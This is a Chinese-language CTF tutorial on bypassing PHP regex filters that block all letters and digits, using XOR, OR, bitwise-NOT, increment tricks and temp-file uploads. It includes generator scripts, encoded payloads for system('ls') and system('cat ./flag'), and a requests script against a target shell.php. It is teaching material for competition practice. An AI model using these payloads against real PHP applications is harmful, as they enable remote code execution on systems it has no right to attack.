CTF实战:手把手教你用PHP异或、取反等骚操作绕过正则限制(附完整脚本)
·
CTF实战:PHP无字母数字命令执行的五种高阶绕过技法
在CTF竞赛中,代码执行类题目常常设置各种字符限制来考验选手的突破能力。当遇到过滤所有字母数字的正则表达式时,如何构造有效的payload成为解题关键。本文将深入剖析五种实用绕过技术,并提供可直接集成到解题工具链中的脚本实现。
1. 异或运算的艺术
异或(XOR)特性在于:当两个字符进行按位异或时,可能产生第三个有效字符。利用这个原理,我们可以通过非字母数字字符的组合构造出任意函数名和参数。
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
// 十六进制转换处理
$hex_i = $i<16 ? '0'.dechex($i) : dechex($i);
$hex_j = $j<16 ? '0'.dechex($j) : dechex($j);
// 过滤字母数字字符
if(!preg_match('/[a-z0-9]/i', hex2bin($hex_i)) && !preg_match('/[a-z0-9]/i', hex2bin($hex_j))){
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a) ^ urldecode($b));
if (ord($c)>=32 && ord($c)<=126) {
$contents .= $c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
配套Python自动化脚本:
def action(arg):
s1 = s2 = ""
for i in arg:
with open("xor_rce.txt","r") as f:
while True:
t = f.readline()
if not t: break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
return f'("{s1}"^"{s2}")'
while True:
func = action(input("\n[+] Function: "))
cmd = action(input("[+] Command: "))
print(func + cmd + ";")
实战技巧 :
- 修改脚本中的正则表达式
/[a-z0-9]/i以适配不同题目的过滤规则 - 生成的payload示例:
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b")
2. 或运算的巧妙应用
或(OR)运算与异或类似,但生成的字符范围更广。当异不可用时,或运算往往能提供额外可能性。
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
$hex_i = dechex($i);
$hex_j = dechex($j);
if(strlen($hex_i)==1) $hex_i = '0'.$hex_i;
if(strlen($hex_j)==1) $hex_j = '0'.$hex_j;
if(!preg_match('/[a-z0-9]/i', hex2bin($hex_i)) && !preg_match('/[a-z0-9]/i', hex2bin($hex_j))){
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c)>=32 && ord($c)<=126) {
$contents .= $c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
典型payload结构 :
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
3. 取反操作的终极绕过
取反(~)操作的优势在于完全使用不可见字符,几乎能绕过所有基于可见字符的过滤。
<?php
fwrite(STDOUT,'[+] Function: ');
$func = trim(fgets(STDIN));
fwrite(STDOUT,'[+] Command: ');
$cmd = trim(fgets(STDIN));
echo '[*] (~'.urlencode(~$func).')(~'.urlencode(~$cmd).');';
使用示例 :
Function: system
Command: ls
输出: (~%8C%86%8C%8B%9A%92)(~%93%8C);
4. 自增构造的奇技淫巧
通过PHP的类型转换和自增特性,可以从空数组开始构造出完整函数。
<?php
$_=[];
$_=@"$_"; // Array -> "Array"
$_=$_['!'=='@']; // 获取第一个字符 'A'
$___=$_; // A
$__=$_; // A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // A -> S
$___.=$__; // S
// 后续类似构造其他字符...
注意事项 :
- 仅适用于PHP 7.0.12以下版本
- 最终构造的是
assert($_POST[_])形式 - 需要URL编码后使用
5. 临时文件上传的另类利用
当服务器允许文件上传时,即使内容被过滤,也可能通过临时文件实现代码执行。
import requests
url = "http://target.com/shell.php?code=?><?=`. /???/????????[@-[]`;?>"
files = {'file': 'cat /flag*'}
response = requests.post(url, files=files)
print(response.text)
关键点 :
- 利用短标签
<?= ?>执行命令 /???/????????匹配/tmp/phpXXXXXX[@-[]确保匹配大写字母
6. 综合实战策略
在实际CTF比赛中,需要根据题目限制灵活组合多种技术:
| 技术 | 适用场景 | 优点 | 限制 |
|---|---|---|---|
| 异或 | 中度过滤 | 可控性强 | 需要生成字典 |
| 或运算 | 宽松过滤 | 组合多样 | 可能产生意外字符 |
| 取反 | 严格过滤 | 完全不可见 | 需要URL解码 |
| 自增 | 无字母需求 | 无需特殊字符 | PHP版本限制 |
| 临时文件 | 有上传点 | 直接执行 | 需要特定环境 |
进阶技巧 :
- 使用
${_GET}{%86}()形式绕过引号限制 - 结合错误抑制符
@隐藏报错信息 - 利用PHP的字符串解析特性,如
"$_GET[a]"等效于$_GET['a']
在最近的一场CTF比赛中,选手需要通过过滤了所有字母、数字和常见符号的检查。最终通过取反操作构造的payload成功获取了flag:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
这相当于执行了 system('cat ./flag') 。记住,在实战中要不断尝试不同方法,直到找到最适合当前环境的绕过方式。
更多推荐


所有评论(0)